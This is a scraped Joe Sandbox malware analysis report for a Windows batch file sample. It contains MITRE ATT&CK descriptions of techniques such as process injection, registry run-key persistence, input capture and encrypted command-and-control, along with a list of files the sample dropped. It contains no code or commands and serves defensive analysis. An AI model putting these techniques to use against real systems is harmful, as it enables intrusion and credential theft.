Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report VjFeSeLhGMruZwwyqsIvUMXvstQqpgFfbYh.bat

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\2.bat

C:\ProgramData\7z.bat

C:\ProgramData\7zz.exe

C:\ProgramData\sett.bat

C:\ProgramData\tempy.7z

C:\Users\user\AppData\Local\Temp\b1.vbs

C:\Users\user\AppData\Local\Temp\b2.vbs

C:\Users\user\AppData\Local\Temp\b3.vbs

\Device\ConDrv

\Device\Null

Static File Info

General

File Icon

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Windows Analysis Report
VjFeSeLhGMruZwwyqsIvUMXvstQqpgFfbYh.bat

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre